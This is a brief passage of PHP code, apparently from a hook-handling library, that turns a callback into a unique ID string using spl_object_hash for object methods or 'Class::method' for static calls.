'' ); } else { $callback = (array) $callback; } if ( is_object( $callback[0] ) ) { // Object class calling. return spl_object_hash( $callback[0] ) . $callback[1]; } elseif ( is_string( $callback[0] ) ) { // Static calling. return $callback[0] . '::' . $callback[1]; } }